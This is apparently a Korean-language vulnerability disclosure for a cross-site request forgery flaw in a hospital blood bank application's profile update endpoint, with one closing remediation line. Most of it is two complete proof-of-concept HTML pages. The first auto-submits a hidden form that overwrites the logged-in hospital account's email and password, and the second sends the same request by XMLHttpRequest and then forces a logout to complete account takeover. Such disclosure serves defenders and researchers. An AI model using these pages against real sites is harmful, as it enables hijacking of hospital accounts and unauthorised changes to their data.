
병원 프로필 업데이트를 통해 계정 탈취로 이어지는 CSRF POC
/file/updateprofile.php이 엔드포인트 /file/updateprofile.php에 CSRF 취약점이 존재합니다. 원격 사용자가 병원의 사용자 세부 정보를 업데이트할 수 있으며, 공격자가 이메일부터 비밀번호까지 모든 정보를 업데이트할 수 있어 계정 탈취 가능성이 높아집니다.
성공적으로 악용될 경우 피해자를 대신하여 무단 조치(예: 데이터 삭제) 가 발생할 수 있습니다. 또한 악성 웹사이트를 방문하여 페이로드를 통해 악용될 수 있습니다.
다음은 로그인된 병원 계정의 프로필 세부 정보를 업데이트하는 CSRF POC 공격의 예시입니다. 공격자가 제어하는 도메인(제 경우 localhost를 사용)에 파일을 호스팅하십시오:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC with Logout Redirect</title>
</head>
<body>
<h2>CSRF Proof of Concept with Chained Logout</h2>
<!-- Form to exploit CSRF vulnerability for updating profile -->
<form id="csrfForm" action="http://localhost.local/bloodbank/file/updateprofile.php" method="POST">
<input type="hidden" name="hname" value="parirenyatwa">
<input type="hidden" name="hemail" value="[email protected]">
<input type="hidden" name="hpassword" value="pari1234">
<input type="hidden" name="hphone" value="0777054000">
<input type="hidden" name="hcity" value="harare">
<input type="hidden" name="update" value="Update">
</form>
<script>
// Submit the CSRF form to update profile
document.getElementById("csrfForm").submit();
</script>
</body>
</html>
로그아웃 CSRF를 강제하여 계정 탈취를 달성할 수 있습니다.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC with XMLHttpRequest</title>
</head>
<body>
<h2>CSRF Proof of Concept with XMLHttpRequest and Redirect</h2>
<script>
// Define the target URLs for the CSRF attack
const updateUrl = "http://localhost.local/bloodbank/file/updateprofile.php";
const logoutUrl = "http://localhost.local/bloodbank/logout.php";
// Data for the profile update CSRF request
const updateData = "hname=parirenyatwa&hemail=pari%40hospital.co.zw&hpassword=pari1234&hphone=0777054000&hcity=harare&update=Update";
// Function to send the XMLHttpRequest
function sendCSRFUpdate() {
const xhr = new XMLHttpRequest();
xhr.open("POST", updateUrl, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
// When the request is complete, redirect to the logout page
xhr.onload = function() {
if (xhr.status === 200) {
console.log("Profile update CSRF request completed");
// Redirect to logout URL to log the victim out
window.location.href = logoutUrl;
} else {
console.error("Profile update failed with status:", xhr.status);
}
};
// Send the request with the update data
xhr.send(updateData);
}
// Trigger the CSRF attack by sending the update request
sendCSRFUpdate();
</script>
</body>
</html>
CSRF 토큰을 포함하고, 상태 변경 작업에 GET 요청을 사용하지 않도록 하십시오.